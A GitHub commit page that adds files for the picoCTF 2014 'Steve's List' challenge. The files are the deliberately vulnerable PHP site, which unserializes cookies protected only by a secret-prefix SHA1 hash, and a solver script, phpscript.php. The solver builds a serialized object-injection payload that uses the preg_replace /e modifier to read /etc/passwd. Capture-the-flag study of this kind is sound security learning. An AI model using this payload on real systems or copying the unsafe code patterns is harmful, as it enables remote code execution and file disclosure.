Skip to content

Commit ed87556

Browse files
ctfhackerctfhacker
committed
Lets disassemble writeup
1 parent 096633c commit ed87556

File tree

12 files changed

+164
-3
lines changed

12 files changed

+164
-3
lines changed

‎pico-ctf-2014/hlextend.pyc

16.7 KB
Binary file not shown.

‎pico-ctf-2014/phpscript.php

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
<?php
2+
require_once('steves_list_backup/includes/classes.php');
3+
$filter = [new Filter('/^(.*)/e', 'file_get_contents(\'/etc/passwd\')')];
4+
5+
$text = "file_get_contents";
6+
$text = htmlspecialchars($text);
7+
8+
$title = "yay_flag";
9+
$title = htmlspecialchars($title);
10+
11+
$post = new Post($title, $text, $filter);
12+
13+
$post_ser = serialize($post);
14+
15+
$ser = $post_ser;
16+
echo $ser;
17+
?>

‎pico-ctf-2014/steves_list_backup/Steve.png

90.2 KB
Loading

‎pico-ctf-2014/steves_list_backup/cookies.php

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
<?php
2+
if (isset($_COOKIE['custom_settings'])) {
3+
// We should verify to make sure this thing is legit.
4+
$custom_settings = urldecode($_COOKIE['custom_settings']);
5+
$hash = sha1(AUTH_SECRET . $custom_settings);
6+
if ($hash !== $_COOKIE['custom_settings_hash']) {
7+
die("Why would you hack Section Chief Steve's site? :(");
8+
}
9+
// we only support one setting for now, but we might as well put this in.
10+
$settings_array = explode("\n", $custom_settings);
11+
$custom_settings = array();
12+
for ($i = 0; $i < count($settings_array); $i++) {
13+
$setting = $settings_array[$i];
14+
$setting = unserialize($setting);
15+
$custom_settings[] = $setting;
16+
}
17+
} else {
18+
$custom_settings = array(0 => true);
19+
setcookie('custom_settings', urlencode(serialize(true)), time() + 86400 * 30, "/");
20+
setcookie('custom_settings_hash', sha1(AUTH_SECRET . serialize(true)), time() + 86400 * 30, "/");
21+
}
22+
?>

‎pico-ctf-2014/steves_list_backup/includes/classes.php

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
<?php
2+
class Filter {
3+
protected $pattern;
4+
protected $repl;
5+
function __construct($pattern, $repl) {
6+
$this->pattern = $pattern;
7+
$this->repl = $repl;
8+
}
9+
function filter($data) {
10+
return preg_replace($this->pattern, $this->repl, $data);
11+
}
12+
};
13+
14+
class Post {
15+
protected $title;
16+
protected $text;
17+
protected $filters;
18+
function __construct($title, $text, $filters) {
19+
$this->title = $title;
20+
$this->text = $text;
21+
$this->filters = $filters;
22+
}
23+
24+
function get_title() {
25+
return htmlspecialchars($this->title);
26+
}
27+
28+
function display_post() {
29+
$text = htmlspecialchars($this->text);
30+
foreach ($this->filters as $filter)
31+
$text = $filter->filter($text);
32+
return $text;
33+
}
34+
35+
function __destruct() {
36+
// debugging stuff
37+
$s = "<!-- POST " . htmlspecialchars($this->title);
38+
$text = htmlspecialchars($this->text);
39+
foreach ($this->filters as $filter)
40+
$text = $filter->filter($text);
41+
$s = $s . ": " . $text;
42+
$s = $s . " -->";
43+
echo $s;
44+
}
45+
};
46+
47+
$standard_filter_set = [new Filter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"),
48+
new Filter("/\[b\](.*)\[\/b\]/i", "<b>\\1</b>"),
49+
new Filter("/\[img\](.*)\[\/img\]/i", "<img src='\\1'>"),
50+
new Filter("/\[br\]/i", "<br>")];
51+
?>

‎pico-ctf-2014/steves_list_backup/index.php

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
<?php
2+
require_once("root_data.php");
3+
include(STEVES_LIST_ABSOLUTE_INCLUDE_ROOT . "cookies.php");
4+
require_once(STEVES_LIST_ABSOLUTE_INCLUDE_ROOT . "includes/classes.php");
5+
// Okay, this is the front page.
6+
// We should just display all the recent posts. We'll figure out how to add posts later.
7+
$posts = array_diff(scandir(STEVES_LIST_ABSOLUTE_INCLUDE_ROOT . "posts"), array('..', '.'));
8+
$display_posts = array();
9+
if ($custom_settings[DISPLAY_POSTS]) {
10+
// display posts
11+
foreach ($posts as $p) {
12+
$contents = file_get_contents(STEVES_LIST_ABSOLUTE_INCLUDE_ROOT . "posts/" . $p);
13+
$post = unserialize($contents);
14+
$display_posts []= $post;
15+
}
16+
}
17+
require_once(STEVES_LIST_TEMPLATES_PATH . "view_posts.php");
18+
?>

‎pico-ctf-2014/steves_list_backup/posts/steve.txt

542 Bytes
Binary file not shown.

‎pico-ctf-2014/steves_list_backup/root_data.php

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
<?php
2+
define('STEVES_LIST_ABSOLUTE_INCLUDE_ROOT', dirname(__FILE__) . "/");
3+
define('STEVES_LIST_TEMPLATES_PATH', dirname(__FILE__) . "/templates/");
4+
define('DISPLAY_POSTS', 0);
5+
// Daedalus changed this... I guess AAAAAAAA was not a good secret :(
6+
define('AUTH_SECRET', "AAAAAAAA");
7+
require_once(STEVES_LIST_ABSOLUTE_INCLUDE_ROOT . "includes/classes.php");
8+
?>

‎pico-ctf-2014/steves_list_backup/templates/footer.php

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
</div>
2+
</body>
3+
</html>

‎pico-ctf-2014/steves_list_backup/templates/header.php

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
<html>
2+
<head>
3+
<title><?php echo $title; ?></title>
4+
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" />
5+
<script src="javascript" src="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>
6+
</head>
7+
<body>
8+
<div class="container">
9+
<div class="row">
10+
<center><h1><?php echo $title; ?></h1></center>
11+
<p>
12+
<?php echo $blurb; echo "\n"; ?>
13+
</p>
14+
</div>

0 commit comments

Comments
 (0)